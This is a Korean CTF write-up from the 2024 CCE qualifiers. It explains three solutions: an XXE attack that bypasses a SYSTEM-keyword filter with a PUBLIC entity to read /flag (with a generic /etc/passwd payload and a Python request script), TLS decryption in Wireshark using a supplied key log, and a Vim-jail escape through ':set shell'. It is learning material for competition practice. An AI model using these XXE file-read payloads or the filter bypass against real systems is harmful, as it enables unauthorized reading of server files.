2024 CCE Quals Write-Up
들어가며
어제, 8월 3일 CCE 예선이 열렸다.
기능경기대회 준비 중 오랜만에 참가 해 보는 CTF였다.
우선 결과를 먼저 말하자면,,, 10등으로 아슬아슬하게 본선 진출에 성공하였다.
- internal inspection
- tls_ninja
- escape_from
내가 푼 문제는 총 3문제인데, 그 중 한 문제는 내가 풀었다고 말 할 수 없어 쓰지 않았고, 대신 업솔빙한 문제 하나를 더 썼다.
internal inspection
대회 마무리 전까지 잡고 있었지만, 시간 부족과 삽질 부족으로 풀지 못한 문제였다.
대회가 끝나고 바로 푼게 좀 아쉬웠다.
문제 컨셉
회사 인트라넷 서비스였다.
회원들 정보, 급여 정보 등을 확인하고 .xlsx
파일로 다운로드 할 수 있었으며,
공지사항을 조회하고 검색할 수도 있었다.
풀이
먼저 문제를 살펴본다.
우선 문제를 눈으로 간단히 살펴 본 결과, 사용자가 입력할 수 있는 부분이 많이 없었다.
눈에 띄는 입력 벡터는 /notice
페이지에서 검색을 통해 공지사항을 조회하는 기능이 있어 SQL Injection도 아주 잠깐 생각 해 보았으나, 조회 기능에서 백엔드 단으로 요청이 가지 않아서 사용할 수 없었다.
(혹시나 요청이 간다고 했어도 SQLAlchemy ORM을 사용하고 있어서 SQLi 취약점은 어려웠을 것이다..ㅋㅋㅋ)
추가적인 정보들을 얻기 위해, Burp Suite의 Proxy를 켜고 문제 사이트에서의 기능들을 모두 작동시켜본다.
그 중 유일하게 /download
경로로의 POST 요청이 Param을 가지고 있다.
요청을 보면, /download
경로로 XML 파일과 함께 POST 요청을 보내는 것을 볼 수 있다.
보낸 XML 파일에 대한 응답은, 엑셀 파일인 .xlsx
확장자로 오는 것을 확인할 수 있었다.
다음은 문제의 Dockerfile
이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
FROM python:3.11
LABEL author="arrester"
WORKDIR /app
COPY ./internal-inspection /app/
COPY ./flag /flag
RUN pip install --upgrade pip
RUN pip install --no-cache-dir -r /app/requirements.txt
RUN apt-get update
CMD ["python", "-u", "app.py"]
파이썬 Flask 앱을 실행시키기 위한 과정이 보이는데, 이 중 주목해서 봐야 할 점은 Flag의 위치이다.
디렉터리 최상단 /flag
에 위치해 있다.
지금까지 얻은 정보로 알 수 있는 것은,
XML 파일 업로드 -> XLSX 파일 다운로드 과정에서의 /flag
파일 포함,
즉 XXE 공격이다.
일반적인 XXE 페이로드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file://../../../../../etc/passwd" >]>
<root>
<member>
<name>&xxe;</name>
<address>123 Street</address>
<company>XYZ Corp</company>
<job>Developer</job>
<email>test@example.com</email>
<username>testuser</username>
</member>
</root>
하지만 이 문제에서는 이런 형식의 페이로드가 작동하지 않는다.
/download
엔드포인트에서 아래와 같이 SYSTEM
키워드를 무력화하고 있기 때문이다.
1
xml_data = xml_data.replace("SYSTEM", "system")
그래서 SYSTEM
없이 XXE를 할 수 있는 방법을 찾아야 한다.
이 내용에 대해 서칭하던 중 Github에서 Cheat Sheet 비슷한 것을 하나 발견했다.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md
SYSTEM
대신 PUBLIC
을 사용해서 거의 유사한 역할을 하도록 할 수 있다.
최종 페이로드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE members [ <!ENTITY xxe PUBLIC "XXE" "file://../../../../../../flag"> ]>
<members>
<member>
<name>&xxe;</name>
<address>Address1</address>
<company>Company1</company>
<job>Job1</job>
<email>Email1</email>
<username>Username1</username>
</member>
</members>
<name>
필드에 Flag가 담아져 나올 것이다.
다음은 해당 페이로드를 보내고 입력으로 엑셀 파일을 받는 Python 코드이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests as rq
url = "http://52.231.138.201:8580/"
url += "download"
xml_file = """
<!DOCTYPE members [ <!ENTITY xxe PUBLIC "XXE" "file://../../../../../../flag"> ]>
<members>
<member>
<name>&xxe;</name>
<address>Address1</address>
<company>Company1</company>
<job>Job1</job>
<email>Email1</email>
<username>Username1</username>
</member>
</members>
"""
resp = rq.post(url, files={"file": xml_file})
if resp.status_code == 200:
open("result.xlsx", "wb").write(resp.content)
else:
print("Failed to download the file.")
실행 이후 같은 디렉터리에 result.xlsx
가 생기는데, 이를 보면 위 예상대로 <name>
필드에 플래그가 찍혀 있는 것을 확인할 수 있다.
플래그
1
cce2024{02a0c985a69a96c1ee119bb1b0c422bb}
tls_ninja
재밌는 패킷 분석 문제이다.
평소 네트워크를 좋아해서 항상 이런 문제 나오면 재밌게 도전 해 보는 것 같다.
이 문제는 생각보다 많이 간단해서 쉽게 풀 수 있었다.
풀이
13kb짜리 패킷 덤프 파일 ninja_.pcap
과 함께 SSLKEYLOGFILE.log
파일이 제공된다.
SSLKEYLOGFILE.log
을 제공해줬으니,
해당 파일을 Wireshark에 넣어서 TLS 패킷들의 복호화된 데이터를 확인한다.
다음은 SSLKEYLOGFILE.log
의 적용 방법이다.
- Wireshark 메뉴에서
Edit
->Preferences
를 선택한다. - 좌측 목록에서
Protocols
->TLS
를 선택한다. (Pre)-Master-Secret log filename
필드에 SSLKEYLOGFILE.log의 경로를 입력한다.
이제 Wireshark에서 자동으로 TLS 패킷을 복호화하고 평문 데이터를 보여준다.
플래그
escape_from
해외 CTF에서 Pyjail, JSjail 문제는 몇 번 봤어도,
Vim Jail 문제는 처음 보는 것 같아서 신선했다.
팀원들이 어땠는지는 모르겠지만, 나는 평소 Vim에 좀 친숙한 편이라 재밌게 풀었던 것 같다.
풀이
나와 있는 접속 정보를 통해 문제 서버에 SSH 접속 해 보면 Vim 편집기 화면만 보인다.
앞서 말했듯 Vim Jail 문제이다.
:wq
나 :q!
등 커맨드들이 정상적으로 동작을 하지 않고,
Vim에서 빠져나온다고 해도 SSH 연결이 종료되기만 한다.
1
2
:set shell=/bin/bash
:shell
위와 같이 입력하면 Vim을 탈출해서 Shell로 갈 수 있다.
이 때 cat /flag
명령을 실행하면 된다.
플래그
레퍼런스
좋은 레퍼런스가 있어서, 보고 바로 풀 수 있었다.
CTFtime Write-Up
끝내며…
작년보다, Apollo에서 본 것들 보다 문제가 꽤 어렵게 나와서 당황했고, 또 많이 못 풀어서 아쉬웠다.
꼭 풀고 싶었던 문제들이 있었지만 아직은 내 실력이 많이 부족하다는 것을 깨닫게 해 준 대회였다.
그래도 우리 팀원들 모두 열심히 다 풀어 준 덕분에 본선 진출에 성공할 수 있었던 것 같고,
진우 재영이 정훈이 모두 수고 많았다!!!!